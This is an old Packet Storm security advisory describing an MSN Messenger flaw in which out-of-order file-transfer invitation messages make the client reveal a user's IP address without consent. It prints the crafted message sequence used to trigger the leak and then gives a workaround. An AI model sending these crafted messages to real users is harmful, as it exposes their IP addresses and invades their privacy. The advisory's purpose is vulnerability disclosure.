Type packetstorm
Reporter Hi_Tech_Assassin
Modified 2003-11-25T00:00:00


                                            `MSN Messenger bug  
Release Date:  
Discovery date:  
Sometime around 2001 or 2000  
Versions Affected:  
Msn messenger 1.0 -> msn messenger 6.0.0602  
Windows messenger all versions  
Not Affected:  
Msn Messenger 6.1, trillian, gaim  
A bug exists in Microsofts msn messenger client.   
MSN messenger improperly parses the fields during  
file transfer invitation requests. Particularly   
the request ip field. This makes it possible to   
trick the msn client into giving *away* the users   
ip address without him/her accepting the file   
transfer first.  
The bug happens when a specially crafted MSG requests  
are issued to the switchboard server and then  
relayed onto the client. Upon receiving each  
request from the switchboard the client seems  
to incorrectly process the Ip-Address field  
without first waiting for userB to accept the  
file that is being attempted to be sent. It seems  
the reason for this bug is that the msn client  
seems to unsafelly depend on client of userB to send the  
sequences and fields in those sequences in the  
order in which is expected. A malicious user however  
could construct a program that sends them in the  
incorrect order and requests userB for the ip  
address before userB asks userA for its ip address  
and userBs client will falselly hand out the ip  
address. This circumvents the whole thing and  
allows us to invade the users privacy by handing  
out such sensitive info.  
Below are example of *expected* exchange of data  
(this however can be exploited)  
>>> MSG 4 N 277  
MIME-Version: 1.0  
Content-Type: text/x-msmsgsinvite; charset=UTF-8  
Application-Name: File Transfer  
Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}  
Invitation-Command: INVITE  
Invitation-Cookie: 33267  
Application-File: readme.txt  
Application-FileSize: 60904  
<<< MSG Tim 179  
MIME-Version: 1.0  
Content-Type: text/x-msmsgsinvite; charset=UTF-8  
Invitation-Command: ACCEPT  
Invitation-Cookie: 33267  
Launch-Application: FALSE  
Request-Data: IP-Address:  
>>> MSG 4 N 238  
MIME-Version: 1.0  
Content-Type: text/x-msmsgsinvite; charset=UTF-8  
Invitation-Command: ACCEPT  
Invitation-Cookie: 33267  
Port: 6891  
AuthCookie: 93301  
Launch-Application: FALSE  
Request-Data: IP-Address:  
However to exploit the bug we would send the below   
"MSG 1 N 275\r\n"  
"MIME-Version: 1.0\r\n"  
"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"  
"Application-Name: File Transfer\r\n"  
"Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}\r\n"  
"Invitation-Command: INVITE\r\n"  
"Invitation-Cookie: 1\r\n"  
"Application-File: wanker.\xdd\xff\xcf\xee\xcd\x0a\x0fjpg\r\n"  
"Application-FileSize: 10\r\n"  
"MSG 2 N 191\r\n"   
"MIME-Version: 1.0\r\n"  
"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"  
"Invitation-Command: ACCEPT\r\n"  
"Invitation-Cookie: 1\r\n"  
"AuthCookie: 10\r\n"  
"Launch-Application: FALSE\r\n"  
"Request-Data: IP-Address:\r\n"  
"MSG 3 N 143\r\n"  
"MIME-Version: 1.0\r\n"  
"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"  
"Invitation-Command: CANCEL\r\n"  
"Invitation-Cookie: 1\r\n"  
"Cancel-Code: TIMEOUT\r\n"  
We should get a response of something like below  
Invitation-Command: ACCEPT  
Invitation-Cookie: 1  
Port: 6892  
PortX: 11181  
AuthCookie: 15784036  
Launch-Application: FALSE  
Request-Data: IP-Address:  
Code will be made public sometime in the future to  
demonstrate the bug.  
This bug has been activelly exploited in the wild.  
Due to the transition to the new msnp protocol  
however many of the variants that derived due to  
sniffing of the original now do not work but it  
is only a matter of time when a new version is  
made widelly available.  
Possible fix/workaround:  
The problem may be fixed to some extend by using the  
messenger disallow list to block any uninvited users  
that are not on your allow list. This way you cannot  
be exploited unless you specifically trust the user  
and he is on your allow list.  
A mechanism must be included in the msn messenger  
client implementation that first checks that userB  
has accepted the file userA is trying to send  
before processing the Request-Data: Ip-Address:   
field. It seems pretty sad that MS cannot even  
get this right even if its later rather than sooner,   
especially when all third party clients seem to have   
such a mechanism in place thats worked effectivelly.   
I have tested this technique extensivelly with others   
such as trillian and these seem to be safe.  
Upgrade to msn messenger 6.1  
Discovery: Brice aka THR  
Please send suggestions or comments to: